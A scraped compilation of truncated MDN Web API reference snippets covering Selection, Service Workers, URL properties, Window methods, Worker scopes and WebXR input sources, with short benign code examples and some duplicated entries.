WebKit used to work, but unfortunately they have recently changed their behavior. Example This example demonstrates the various granularity options for modifyin...
Selection - Web APIs
focus Selection and input focus (indicated by Document.activeElement) have a complex relationship that varies by browser. In cross-browser compatible code, it's better to handle them separately. Safari and Chrome (unlike Firefox) currently focus the element containing selection when modifying the selection programmatically; it's possible that this may change in the future (see W3C bug 14383 and
WebKit bug 38696). Behavior of Selection API in terms of editing host focus changes The Selection API has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called. The behavior is as follows: An editing host gains focus if the previous selection was outside of it. A Selection API method is called, causing a new...
Sensor APIs - Web APIs
Instead you'll use one of its subclasses to retrieve specific kinds of sensor data. For example, the accelerometer interface returns the acceleration of the device along all three axes at the time it is read. Sensors may or may not correspond exactly to a physical device sensor. For example, the Gyroscope interface corresponds exactly to a physical device interface. ...
ServiceWorker.scriptURL - Web APIs
Returns the ServiceWorker serialized script URL defined as part of ServiceWorkerRegistration. Must be on the same origin as the document that registers the ServiceWorker. Syntax someURL = ServiceWorker.scriptURL Value A USVString (see the
WebIDL definition of USVString.) Examples TBD Specifications Specification Status Comment Service WorkersThe definition of 'scriptURL' in that specification. Working Draft Initial definition ...
ServiceWorkerContainer.onmessage - Web APIs
ty of the ServiceWorkerContainer interface is an event handler fired whenever a message event occurs -- when incoming messages are received to the ServiceWorkerContainer object (e.g., via a Client.postMessage() call). Note: Messages received from service worker contexts (e.g. as the event object of onmessage) are represented by MessageEvent objects in modern browsers, for consistency with other
web messaging features. (They used to be represented by ServiceWorkerMessageEvent objects, which have now been deprecated.) Syntax serviceWorkerContainer.onmessage = function(messageevent) { ... } Example navigator.serviceWorker.onmessage = function(messageevent) { console.log(`received data: ${messageevent.data}`); } Specifications Specification Status Comment Servi...
ServiceWorkerContainer - Web APIs
orts any registration failures. if ('serviceWorker' in navigator) { // Register a service worker hosted at the root of the // site using the default scope. navigator.serviceWorker.register('/sw.js').then(function(registration) { console.log('Service worker registration succeeded:', registration); // At this point, you can optionally do something // with registration. See /docs/
Web/API/ServiceWorkerRegistration }).catch(function(error) { console.log('Service worker registration failed:', error); }); // Independent of the registration, let's also display // information about whether the current page is controlled // by an existing service worker, and when that // controller changes. // First, do a one-off check if there's currently a // service worker i...
ServiceWorkerGlobalScope.onmessage - Web APIs
: Service workers define the extendable event to allow extending the lifetime of the event. For the message event, service workers use the ExtendableMessageEvent interface which extends the ExtendableEvent interface. Note: Messages received from service worker contexts (e.g. as the event object of onmessage) are represented by MessageEvent objects in modern browsers, for consistency with other
web messaging features. (They used to be represented by ServiceWorkerMessageEvent objects, which have now been deprecated.) Syntax serviceWorkerGlobalScope.onmessage = function(extendableMessageEvent) { ... }; Example self.addEventListener('message', function(messageEvent) { console.log('Handling message event:', messageEvent); }) Specifications Specification Status Comment ...
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
The ServiceWorkerMessageEvent() constructor creates a new ServiceWorkerMessageEvent object instance. Syntax var mySWME = new ServiceWorkerMessageEvent(type, init); Parameters type A DOMString that defines the type of the message event being created. init Optional An initialisation object, which should contain the following parameters: data: The event's data -- this can be any type. ...
ServiceWorkerMessageEvent.data - Web APIs
The data read-only property of the ServiceWorkerMessageEvent interface returns the event's data. It can be any data type. Syntax var myData = ServiceWorkerMessageEventInstance.data; Value Any data type. Examples When the following code is used inside the main thread to set up a message channel between it and a service worker for sending messages between the two, the event object of onmessage will be a ServiceWorkerMessageEvent. ...
ServiceWorkerMessageEvent.lastEventId - Web APIs
The lastEventID read-only property of the ServiceWorkerMessageEvent interface represents, in server-sent events, the last event ID of the event source. Syntax var myLastEventId = ServiceWorkerMessageEventInstance.lastEventId; Value A DOMString. ...
ServiceWorkerMessageEvent.origin - Web APIs
The origin read-only property of the ServiceWorkerMessageEvent interface returns the origin of the service worker's environment settings object. Syntax var myOrigin = ServiceWorkerMessageEventInstance.origin; Value A DOMString. ...
SyncEvent.lastChance - Web APIs
the user agent will not make further synchronization attempts after the current attempt. This is the value passed in the lastChance parameter of the SyncEvent() constructor. Syntax var lastChance = SyncEvent.lastChance Value A Boolean that indicates whether the user agent will not make further synchronization attempts after the current attempt. Specifications Specification
Web Background Synchronization ...
SyncEvent.tag - Web APIs
The SyncEvent.tag read-only property of the SyncEvent interface returns the developer-defined identifier for this SyncEvent. This is the value passed in the tag parameter of the SyncEvent() constructor. Syntax var tag = SyncEvent.tag Value The developer-defined identifier for this SyncEvent. Specifications Specification Status Comment
Web Background SynchronizationThe definition of 'tag' in that specification. Living Standard Initial definition. ...
SyncManager - Web APIs
he SyncManager interface of the the ServiceWorker API provides an interface for registering and listing sync registrations. Properties None. Methods SyncManager.register Create a new sync registration and return a Promise. SyncManager.getTags Return a list of developer-defined identifiers for SyncManager registration. Specifications Specification Status Comment
Web Background SynchronizationThe definition of 'SyncManager' in that specification. Living Standard Initial definition. ...
Text.wholeText - Web APIs
The Text.wholeText read-only property returns the full text of all Text nodes logically adjacent to the node. The text is concatenated in document order. This allows to specify any text node and obtain all adjacent text as a single string. ...
TextDecoder.prototype.encoding - Web APIs
The TextDecoder.prototype.encoding read-only property returns a DOMString containing the name of the decoding algorithm used by the specific decoder. It can be one of the following values: The recommended encoding for the
Web: 'utf-8'. The legacy single-byte encodings: 'ibm866', 'iso-8859-2', 'iso-8859-3', 'iso-8859-4', 'iso-8859-5', 'iso-8859-6', 'iso-8859-7', 'iso-8859-8'', 'iso-8859-8i', 'iso-8859-10', 'iso-8859-13', 'iso-8859-14', 'iso-8859-15', 'iso-8859-16', 'koi8-r', 'koi8-u', 'macintosh', 'windows-874', 'windows-1250', 'windows-1251', 'windows-1252', 'windows-1253', 'windows-1254', 'windows-1255', 'windows-1256', 'windows-1257', 'windows-1258', or 'x-mac-cyrillic'. The legacy multi-byte Chinese (simplified) encodings: 'gbk', 'gb18030', and 'hz-gb-2312'. The legacy multi-byte...
TextRange - Web APIs
e standard Range object to process the text fragment. IE9 and later also gave up the document.selection object and switched to the standard interface (although TextRange has been reserved, it has lost its function in most cases). It's easy to get confused. Generally, if the script only needs to be compatible with the latest browser, the standard interface is the best choice; however, the current
website still wants to be compatible with IE8 or below browsers. Therefore, the best way is to deal with both at the same time, that is, try to use TextRange mode when the standard interface is not supported, but do not regard it as the only choice. ...
TextTrack - Web APIs
Properties This interface also inherits properties from EventTarget. TextTrack.activeCues Read only A TextTrackCueList object listing the currently active set of text track cues. Track cues are active if the current playback position of the media is between the cues' start and end times. Thus, for displayed cues such as captions or subtitles, the active cues are currently being displayed. TextTrack.cues Read only A TextTrackCueList which contains all of the track's cues. ...
msManipulationViewsEnabled - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msManipulationViewsEnabled read-only property returns true if manipulation features are support available, such as touch panning and zooming using CSS rules. This proprietary property is specific to Internet Explorer and Microsoft Edge. ...
Supporting both TouchEvent and MouseEvent - Web APIs
Consequently, even if a browser supports touch, the browser must still emulate mouse events so content that assumes mouse-only input will work as is without direct modification. Ideally, a touch-based application does not need to explicitly address mouse input. However, because the browser must emulate mouse events, there may be some interaction issues that need to be handled. ...
Touch events - Web APIs
ches[i].identifier; if (id == idToFind) { return i; } } return -1; // not found } Showing what's going on function log(msg) { var p = document.getElementById('log'); p.innerHTML = msg + "\n" + p.innerHTML; } If your browser supports it, you can see it live. jsFiddle example Additional tips This section provides additional tips on how to handle touch events in your
web application. Handling clicks Since calling preventDefault() on a touchstart or the first touchmove event of a series prevents the corresponding mouse events from firing, it's common to call preventDefault() on touchmove rather than touchstart. That way, mouse events can still fire and things like links will continue to work. Alternatively, some frameworks have taken to refiring touch events as ...
sourceCapabilities - Web APIs
same instance of InputDeviceCapabilities. For example, when a user lifts their finger off of a touchscreen, several UIEvents may be generated including touchend, mousedown, click, and focus. All of these events must have the same sourceCapabilities representing the touchscreen. A device is considered "responsible" for an event only when that interaction is part of the abstraction provided by the
web platform. For example, many user agents allow a window to be resized with a mouse or a keyboard, but this detail is not exposed to the
web platform in any way, and so the sourceCapabilities of a resize event will typically be null. Syntax var iDC = event.sourceCapabilities Value An instance of InputDeviceCapabilities. Specifications Specification Status Comment Input...
URL() - Web APIs
Syntax const url = new URL(url [, base]) Parameters url A USVString representing an absolute or relative URL. If url is a relative URL, base is required, and will be used as the base URL. If url is an absolute URL, a given base will be ignored. ...
URL.createObjectURL() - Web APIs
The URL.createObjectURL() static method creates a DOMString containing a URL representing the object given in the parameter. The URL lifetime is tied to the document in the window on which it was created. The new object URL represents the specified File object or Blob object. To release an object URL, call revokeObjectURL(). Note: This feature is available in
Web Workers. Note: This feature is not available in Service Workers due to its potential to create memory leaks. Syntax const objectURL = URL.createObjectURL(object) Parameters object A File, Blob, or MediaSource object to create an object URL for. Return value A DOMString containing an object URL that can be used to reference the contents of the specified source object. Examples See Using object URLs to display ima...
URL.hash - Web APIs
The hash property of the URL interface is a USVString containing a '#' followed by the fragment identifier of the URL. The fragment is not percent-decoded. If the URL does not have a fragment identifier, this property contains an empty string -- "". Note: This feature is available in
Web Workers. Syntax const string = url.hash url.hash = newHash Value A USVString. Examples const url = new URL('/docs/
Web/API/URL/href#Examples'); console.log(url.hash); // Logs: '#Examples' Specifications Specification Status Comment URLThe definition of 'URL.hash' in that specification. Living Standard Initial definition ...
URL.hostname - Web APIs
The hostname property of the URL interface is a USVString containing the domain name of the URL. Note: This feature is available in
Web Workers. Syntax const domain = url.hostname url.hostname = domain Value A USVString. Examples const url = new URL('/docs/
Web/API/URL/hostname'); console.log(url.hostname); // Logs: 'developer.mozilla.org' Specifications Specification Status Comment URLThe definition of 'URL.hostname' in that specification. Living Standard Initial definition. ...
URL.href - Web APIs
The href property of the URL interface is a USVString containing the whole URL. Note: This feature is available in
Web Workers. Syntax const urlString = url.href url.href = newUrlString Value A USVString. Examples const url = new URL('/docs/
Web/API/URL/href'); console.log(url.href); // Logs: '/docs/
Web/API/URL/href' Specifications Specification Status Comment URLThe definition of 'URL.href' in that specification. Living Standard Initial definition. ...
URL.origin - Web APIs
s URLs, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified). For file: URLs, the value is browser dependant. for blob: URLs, the origin of the URL following blob: will be used, e.g "blob:https://mozilla.org" will be returned as "https://mozilla.org". Note: This feature is available in
Web Workers. Syntax const originString = url.origin Value A USVString. Examples const url = new URL("blob:https://mozilla.org:443/") console.log(url.origin); // Logs 'https://mozilla.org' Specifications Specification Status Comment URLThe definition of 'URL.origin' in that specification. Living Standard Initial definition. ...
URL.password - Web APIs
The password property of the URL interface is a USVString containing the password specified before the domain name. If it is set without first setting the username property, it silently fails. Note: This feature is available in
Web Workers. Syntax const passwordString = url.password url.password = newPassword Value A USVString. Examples const url = new URL('https://anonymous:flabada@developer.mozilla.org/docs/
Web/API/URL/password'); console.log(url.password) // Logs "flabada" Specifications Specification Status Comment URLThe definition of 'URL.password' in that specification. Living Standard Initial definition. ...
URL.pathname - Web APIs
The pathname property of the URL interface is a USVString containing an initial '/' followed by the path of the URL (or the empty string if there is no path). Note: This feature is available in
Web Workers. Syntax const path = url.pathname url.pathname = newPath Value A USVString. Examples const url = new URL('/docs/
Web/API/URL/pathname?q=value'); console.log(url.pathname); // Logs "/docs/
Web/API/URL/pathname" Specifications Specification Status Comment URLThe definition of 'URL.pathname' in that specification. Living Standard Initial definition. ...
URL.pathname - Web APIs
The pathname property of the URL interface is a USVString containing an initial '/' followed by the path of the URL (or the empty string if there is no path). Note: This feature is available in
Web Workers. Syntax const path = url.pathname url.pathname = newPath Value A USVString. Examples const url = new URL('/docs/
Web/API/URL/pathname?q=value'); console.log(url.pathname); // Logs "/docs/
Web/API/URL/pathname" Specifications Specification Status Comment URLThe definition of 'URL.pathname' in that specification. Living Standard Initial definition. ...
URL.port - Web APIs
Syntax const portNumber = url.port url.port = newPortNumber Value A USVString. ...
URL.protocol - Web APIs
The protocol property of the URL interface is a USVString representing the protocol scheme of the URL, including the final ':'. Note: This feature is available in
Web Workers. Syntax const protocol = url.protocol url.protocol = newProtocol Value A USVString. Examples const url = new URL('/docs/
Web/API/URL/protocol'); console.log(url.protocol); // Logs "https:" Specifications Specification Status Comment URLThe definition of 'protocol' in that specification. Living Standard Initial definition. ...
URL.revokeObjectURL() - Web APIs
Note: This method is not available from service workers, due to issues with the Blob interface's life cycle and the potential for leaks. ...
URL.search - Web APIs
The search property of the URL interface is a search string, also called a query string, that is a USVString containing a '?' followed by the parameters of the URL. Modern browsers provide the URL.searchParams property to make it easy to parse out the parameters from the query string. Note: This feature is available in
Web Workers. Syntax const searchParams = object.search url.search = newSearchParams Value A USVString. Examples const url = new URL('/docs/
Web/API/URL/search?q=123'); console.log(url.search); // Logs "?q=123" Specifications Specification Status Comment URLThe definition of 'URL.search' in that specification. Living Standard Initial definition. ...
URL.search - Web APIs
The search property of the URL interface is a search string, also called a query string, that is a USVString containing a '?' followed by the parameters of the URL. Modern browsers provide the URL.searchParams property to make it easy to parse out the parameters from the query string. Note: This feature is available in
Web Workers. Syntax const searchParams = object.search url.search = newSearchParams Value A USVString. Examples const url = new URL('/docs/
Web/API/URL/search?q=123'); console.log(url.search); // Logs "?q=123" Specifications Specification Status Comment URLThe definition of 'URL.search' in that specification. Living Standard Initial definition. ...
URL.searchParams - Web APIs
Syntax const urlSearchParams = url.searchParams Value A URLSearchParams object. Examples If the URL of your page is https://example.com/?name=Jonathan%20Smith&age=18 you could parse out the name and age parameters using: let params = (new URL(document.location)).searchParams; let name = params.get('name'); // is the string "Jonathan Smith". ...
URL.toJSON() - Web APIs
The toJSON() method of the URL interface returns a USVString containing a serialized version of the URL, although in practice it seems to have the same effect as URL.toString(). Note: This feature is available in
Web Workers. Syntax const href = url.toJSON() Return value A USVString. Examples const url = new URL("/docs/
Web/API/URL/toString"); url.toJSON(); // should return the URL as a string Specifications Specification Status Comment URLThe definition of 'toJSON()' in that specification. Living Standard Initial definition. ...
URL.toString() - Web APIs
The URL.toString() stringifier method returns a USVString containing the whole URL. It is effectively a read-only version of URL.href. Note: This feature is available in
Web Workers. Syntax const href = url.toString() Return value A USVString. Examples const url = new URL("/docs/
Web/API/URL/toString"); url.toString(); // should return the URL as a string Specifications Specification Status Comment URLThe definition of 'stringifier' in that specification. Living Standard Initial definition. ...
Window.applicationCache - Web APIs
Important: Application Cache is deprecated as of Firefox 44, and is no longer available in insecure contexts from Firefox 60 onwards (bug 1354175, currently Nightly/Beta only). Don't use it to offline
websites -- consider using service workers instead. Returns a reference to the application cache object for the window. Syntax cache = window.applicationCache Parameters cache is an object reference to an OfflineResourceList. Specification HTML 5WD ...
window.cancelAnimationFrame() - Web APIs
frame request previously scheduled through a call to window.requestAnimationFrame(). Syntax window.cancelAnimationFrame(requestID); Parameters requestID The ID value returned by the call to window.requestAnimationFrame() that requested the callback. Examples var requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.
webkitRequestAnimationFrame || window.msRequestAnimationFrame; var cancelAnimationFrame = window.cancelAnimationFrame || window.mozCancelAnimationFrame; var start = window.mozAnimationStartTime; // Only supported in FF. Other browsers can use something like Date.now(). var myReq; function step(timestamp) { var progress = timestamp - start; d.style.left = Math.min(progress / 10, 200) + 'px'; ...
Window.getAttention() - Web APIs
getAttention(); Notes On Windows, the taskbar button for the window flashes, if this hasn't been disabled by the user. On Linux, the behaviour varies from window manager to window manager - some flash the taskbar button, others focus the window immediately. This may be configurable as well. On Macintosh, the icon in the upper right corner of the desktop flashes. The function is disabled for
web content. Neither Gecko nor Internet Explorer supports this feature now for
web content. getAttention will still work when used from chrome in a Gecko application. Specification DOM Level 0. Not part of specification. ...
Window.getComputedStyle() - Web APIs
tory Leak" security issue, browsers may lie about the computed styles for a visited link, returning values as if the user never visited the linked URL. See Plugging the CSS History Leak and Privacy-related changes coming to CSS :visited for examples of how this is implemented. During CSS transitions, getComputedStyle returns the original property value in Firefox, but the final property value in
WebKit. In Firefox, properties with the value auto return the used value, not the value auto. So if you apply top:auto and bottom:0 on an element with height:30px and a containing block of height:100px, Firefox's computed style for top returns 70px, as 100 - 30 = 70. Specifications Specification Status Comment CSS Object Model (CSSOM)The definition of 'getComputedStyle...
Window.localStorage - Web APIs
o it using Storage.setItem(). localStorage.setItem('myCat', 'Tom'); The syntax for reading the localStorage item is as follows: const cat = localStorage.getItem('myCat'); The syntax for removing the localStorage item is as follows: localStorage.removeItem('myCat'); The syntax for removing all the localStorage items is as follows: localStorage.clear(); Note: Please refer to the Using the
Web Storage API article for a full example. Specifications Specification Status Comment HTML Living StandardThe definition of 'localStorage' in that specification. Living Standard ...
window.location - Web APIs
ly Location object, you can also assign a DOMString to it. This means that you can work with location as if it were a string in most cases: location = 'http://www.example.com' is a synonym of location.href = 'http://www.example.com'. See Location for all available properties. Syntax var oldLocation = location; location = newLocation; Examples Basic Example alert(location); // alerts "/docs/
Web/API/Window/location" Example #1: Navigate to a new page Whenever a new value is assigned to the location object, a document will be loaded using the URL as if location.assign() had been called with the modified URL. Note that security settings, like CORS, may prevent this to effectively happen. location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; Example #2: ...
Window.name - Web APIs
> <a href="url2" target="other-tab">This link will be opened in the other tab.</a> Notes The name of the window is used primarily for setting targets for hyperlinks and forms. Browsing contexts do not need to have names. It has also been used in some frameworks for providing cross-domain messaging (e.g., SessionVars and Dojo's dojox.io.windowName) as a more secure alternative to JSONP. Modern
web applications hosting sensitive data should, however, not rely on window.name for cross-domain messaging but instead utilize the postMessage API. window.name will convert all values to their string representations by using the toString method. Specifications Specification Status Comment HTML Living StandardThe definition of 'Window.name' in that specification. Living ...
Window.onbeforeinstallprompt - Web APIs
Its associated event may be saved for later and used to prompt the user at a more suitable time. Syntax window.addEventListener("beforeinstallprompt", function(event) { ... }); window.onbeforeinstallprompt = function(event) { ...}; Example The following example uses the beforeinstallprompt event to make an install button operable, by using the event inside a click handler. ...
Window.ondragdrop - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. Removed in Firefox 50, and never implemented in any other browser. Use the modern standard HTML5 drag and drop feature instead. Summary An event handler for drag and drop events sent to the window. Syntax window.ondragdrop = funcRef; window.addEventListener("dragdrop", funcRef, useCapturing); funcRef The event handler function to be registered. ...
Window: online event - Web APIs
The online event of the Window interface is fired when the browser has gained access to the network and the value of Navigator.onLine switches to true. Note: This event shouldn't be used to determine the availability of a particular
website. Network problems or firewalls might still prevent the
website from being reached. Bubbles No Cancelable No Interface Event Event handler property ononline Examples // addEventListener version window.addEventListener('online', (event) => { console.log("You are now connected to the network."); }); // ononline version window.ononline = (event) => { console.log("You are now connected to the network."); }; Specifications Specification Status HTML Living StandardThe d...
Obsolete features - Web APIs
in MSIE 6 SP2 the way it worked in MSIE 5.x. The Windows taskbar, as well as the titlebar and the status bar of the window are not visible, nor accessible when fullscreen is enabled in MSIE 5.x. fullscreen always upsets users with large monitor screen or with dual monitor screen. Forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose
web author's viewing preferences onto users. fullscreen does not really work in MSIE 6 SP2. personalbar Obsolete since Gecko 76 If this feature is on, then the new secondary window renders the Personal Toolbar in Netscape 6.x, Netscape 7.x and Mozilla browser. It renders the Bookmarks Toolbar in Firefox. In addition to the Personal Toolbar, Mozilla browser will render the Site Navigation Bar if...
Privileged features - Web APIs
The following features require the chrome-privilege. centerscreen Centers the window in relation to its parent's size and position. minimizable This setting can only apply to dialog windows; minimizable requires dialog=yes. If minimizable is on, the new dialog window will have a minimize system command icon in the titlebar and it will be minimizable. Any non-dialog window is always minimizable and minimizable=no will be ignored. ...
Window.personalbar - Web APIs
w.personalbar Example FIXME: https://bugzilla.mozilla.org/show_bug.cgi?id=790023 The following complete HTML example shows the way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window. Due to deprecation of enablePrivilege this functionality can not be used in
web pages. EnablePrivilege is disabled in Firefox 15 and will be removed in Firefox 17. <!DOCTYPE html> <html> <head> <title>Various DOM Tests</title> <script> // changing bar states on the existing window netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite"); window.personalbar.visible = !window.personalbar.visible; </script> </head> <body> <p>Various DOM Tests</p> </body>...
Window.requestAnimationFrame() - Web APIs
st itself call requestAnimationFrame() if you want to animate another frame at the next repaint. You should call this method whenever you're ready to update your animation onscreen. This will request that your animation function be called before the browser performs the next repaint. The number of callbacks is usually 60 times per second, but will generally match the display refresh rate in most
web browsers as per W3C recommendation. requestAnimationFrame() calls are paused in most browsers when running in background tabs or hidden <iframe>s in order to improve performance and battery life. The callback method is passed a single argument, a DOMHighResTimeStamp, which indicates the current time (based on the number of milliseconds since time origin). When callbacks queued by requestAnimatio...
Window.resizeBy() - Web APIs
s to grow the window horizontally. yDelta is the number of pixels to grow the window vertically. Example // Shrink the window window.resizeBy(-200, -200); Notes This method resizes the window relative to its current size. To resize the window in absolute terms, use window.resizeTo(). Creating and resizing an external window For security reasons, it's no longer possible in Firefox for a
website to change the default size of a window in a browser if the window wasn't created by window.open(), or contains more than one tab. See the compatability table for details on the change. Even if you create window by window.open() it is not resizable by default. To make the window resizable, you must open it with the "resizable" feature. // Create resizable window myExternalWindow = window.o...
Window.self - Web APIs
The Window.self read-only property returns the window itself, as a WindowProxy. It can be used with dot notation on a window object (that is, window.self) or standalone (self). The advantage of the standalone notation is that a similar notation exists for non-window contexts, such as in
Web Workers. By using self, you can refer to the global scope in a way that will work not only in a window context (self will resolve to window.self) but also in a worker context (self will then resolve to WorkerGlobalScope.self). Example Uses of window.self like the following could just as well be replaced by window. if (window.parent.frames[0] != window.self) { // this window is not the first frame in the list } Furthermore, when executing in the active document of a browsing context, window is a r...
Window.sessionStorage - Web APIs
Specifications Specification Status Comment HTML Living StandardThe definition of 'sessionStorage' in that specification. Living Standard ...
Window.toolbar - Web APIs
hose visibility can be toggled in the window. Syntax objRef = window.toolbar Example The following complete HTML example shows way that the visible property of the various "bar" objects is used, and also the change to the privileges necessary to write to the visible property of any of the bars on an existing window. Due to deprecation of enablePrivilege this functionality can not be used in
web pages. EnablePrivilege is disabled in Firefox 15 and will be removed in Firefox 17. <!DOCTYPE html> <html> <head> <title>Various DOM Tests</title> <script> // changing bar states on the existing window netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserWrite"); window.toolbar.visible=!window.toolbar.visible; </script> </head> <body> <p>Various DOM Tests</p> </body> </html> ...
Window.window - Web APIs
This means: global variables of your script are in fact properties of window: var global = {data: 0}; alert(global === window.global); // displays "true" you can access built-in properties of the window object without having to type window. ...
WindowEventHandlers.onbeforeprint - Web APIs
yntax window.addEventListener("beforeprint", function(event) { ... }); window.onbeforeprint = function(event) { ... }; Polyfill Safari does not implement these events, but you can create an equivalent result to the beforeprint event with window.matchMedia('print'). var mediaQueryList = window.matchMedia('print'); mediaQueryList.addListener(function(mql) { if(mql.matches) { console.log('
webkit equivalent of onbeforeprint'); } }); Specification Specification Status Comment HTML Living StandardThe definition of 'onbeforeprint' in that specification. Living Standard ...
WindowEventHandlers.onmessageerror - Web APIs
The onmessageerror event handler of the WindowEventHandlers interface is an EventListener, called whenever an MessageEvent of type messageerror is fired on a window--that is, when it receives a message that cannot be deserialized. Note: This feature is available in
Web Workers. Syntax window.onmessageerror = function() { ... }; Specifications Specification Status Comment HTML Living StandardThe definition of 'onmessageerror' in that specification. Living Standard ...
WindowEventHandlers - Web APIs
ndow, or HTMLBodyElement and HTMLFrameSetElement. Each of these interfaces can implement additional specific event handlers. Note: WindowEventHandlers is a mixin and not an interface; you can't actually create an object of type WindowEventHandlers. Properties The events properties, of the form onXYZ, are defined on the WindowEventHandlers, and implemented by Window, and WorkerGlobalScope for
Web Workers. WindowEventHandlers.onafterprint Is an EventHandler representing the code to be called when the afterprint event is raised. WindowEventHandlers.onbeforeprint Is an EventHandler representing the code to be called when the beforeprint event is raised. WindowEventHandlers.onbeforeunload Is an EventHandler representing the code to be called when the beforeunload event is raised. Win...
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
utID The identifier of the timeout you want to cancel. This ID was returned by the corresponding call to setTimeout(). It's worth noting that the pool of IDs used by setTimeout() and setInterval() are shared, which means you can technically use clearTimeout() and clearInterval() interchangeably. However, for clarity, you should avoid doing so. Example Run the script below in the context of a
web page and click on the page once. You'll see a message popping up in a second. If you click the page multiple times in one second, the alert only appears once. var alarm = { remind: function(aMessage) { alert(aMessage); this.timeoutID = undefined; }, setup: function() { if (typeof this.timeoutID === 'number') { this.cancel(); } this.timeoutID = window.setTimeout(...
Worker.onmessageerror - Web APIs
The onmessageerror event handler of the Worker interface is an EventListener, called whenever an MessageEvent of type messageerror is fired on the Worker instance -- that is, when it receives a message that cannot be deserialized. Note: This feature is available in
Web Workers. Syntax Worker.onmessageerror = function() { ... }; Specifications Specification Status Comment HTML Living StandardThe definition of 'onmessageerror' in that specification. Living Standard ...
WorkerGlobalScope.console - Web APIs
However, If you are calling console.log() from a SharedWorkerGlobalScope, the global browser console will receive the logs. Specifications Not yet part of any specification. ...
WorkerGlobalScope.self - Web APIs
ative code] } DedicatedWorkerGlobalScope: function DedicatedWorkerGlobalScope() { [native code] } Error: function Error() { [native code] } // etc. etc. This provides a full list of the objects available to that worker scope, so it is quite a useful test if you want to see whether something is available to your worker or not. We also maintain a list of Functions and classes available to
Web Workers. Specifications Specification Status Comment HTML Living StandardThe definition of 'self' in that specification. Living Standard ...
WorkerGlobalScope - Web APIs
Workers have no browsing context; this scope contains the information usually conveyed by Window objects -- in this case event handlers, the console or the associated WorkerNavigator object. Each WorkerGlobalScope has its own event loop. This interface is usually specialized by each worker type: DedicatedWorkerGlobalScope for dedicated workers, SharedWorkerGlobalScope for shared workers, and ServiceWorkerGlobalScope for ServiceWorker. The self property returns the specialized scope for each context. Properties This interface inherits properties from the EventTarget interface and WindowOrWorkerGlobalScope and WindowEventHandlers mixins. ...
WorkerLocation - Web APIs
The WorkerLocation interface defines the absolute location of the script executed by the Worker. Such an object is initialized for each worker and is available via the WorkerGlobalScope.location property obtained by calling self.location. This interface is only visible from inside a JavaScript script executed in the context of a
Web worker. Properties The WorkerLocation interface doesn't inherit any property, but implements properties defined in the URLUtilsReadOnly interface. URLUtilsReadOnly.href Read only Is a stringifier that returns a DOMString containing the whole URL of the script executed in the Worker. URLUtilsReadOnly.protocol Read only Is a DOMString containing the protocol scheme of the URL of the script executed in the Worker, including the final ':'. URLUtilsReadOnl...
XRFrame.getPose() - Web APIs
he space for which to obtain an XRPose describing the item's position and orientation. baseSpace An XRSpace to use as the base or origin for the purposes of computing the relative position and orientation. Return value An XRPose object specifying the position and orientation, relative to the XRSpace indicated by baseSpace. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRFrame.getPose()' in that specification. Working Draft Initial definition. ...
XRFrame.session - Web APIs
An XRFrame object's read-only session property returns the XRSession object that generated the frame. Syntax var xrSession = xrFrame.session; Value A XRSession object representing the
WebXR session for which this XRFrame describes the object positions and orientations. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRFrame.session' in that specification. Working Draft Initial definition. ...
XRFrameRequestCallback - Web APIs
The XRFrameRequestCallback is a callback function passed into XRSession.requestAnimationFrame (part of
WebXR API) to obtain the current time and the current XRFrame. Syntax function XRFrameRequestCallback(time, XRFrame){ // Process XRFrame here } XRSession.requestAnimationFrame(XRFrameRequestCallback) Parameters DOMHighResTimeStamp A timestamp corresponding to the returned XRFrame. XRFrame An XRFrame representing a snapshot of the state of all of the tracked objects for the XRSession. Return Value None. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRFrameRequestCallback' in that specification. Working Draft Initial definition. ...
XRInputSourceArray.entries() - Web APIs
le other inputs */ } } } For each input in the llist, gamepad inputs are dispatched to a checkGamepad() with the input's Gamepad object, taken from its gamepad property, as an input For other devices, we look for tracked-pointer devices in the player's main hand, dispatching those to a handleMainHandInput() method. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceArray' in that specification.1 Working Draft XRInputSourceArray interface [1] See Iterator-like methods in Information contained in a
WebIDL file for information on how an iterable declaration in an interface definition causes entries(), forEach(), keys(), and values() methods to be exposed from objects that implement the interface. ...
XRInputSourceArray.forEach() - Web APIs
puts */ } } }); For each input in the llist, the callback dispatches gamepad inputs to a checkGamepad() with the input's Gamepad object, taken from its gamepad property, as an input For other devices, we look for tracked-pointer devices in the player's main hand, dispatching those to a handleMainHandInput() method. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceArray' in that specification.1 Working Draft XRInputSourceArray interface [1] See Iterator-like methods in Information contained in a
WebIDL file for information on how an iterable declaration in an interface definition causes entries(), forEach(), keys(), and values() methods to be exposed from objects that implement the interface. ...
XRInputSourceArray.keys() - Web APIs
(const inputIdx of xrSession.inputSources.keys()) { /* the keys are the indexes into the list of inputs */ checkInput(xrSession.inputSources[inputIdx]); } Here, for...of is used to iterate over each of the keys. For each key, the input is retrieved using the index with array notation: xrSession.inputSources[inputIdx]. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceArray' in that specification.1 Working Draft XRInputSourceArray interface [1] See Iterator-like methods in Information contained in a
WebIDL file for information on how an iterable declaration in an interface definition causes entries(), forEach(), keys(), and values() methods to be exposed from objects that implement the interface. ...
XRInputSourceArray.values() - Web APIs
checkInput() with each returned value. for (const source of xrSession.inputSources.values()) { checkInput(source); } Here, for...of is used to iterate over the array's contents. Each pass through the loop, source is the next XRInputSource in the list. The loop exits once every input has been delivered to checkInput(). Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceArray' in that specification.1 Working Draft XRInputSourceArray interface [1] See Iterator-like methods in Information contained in a
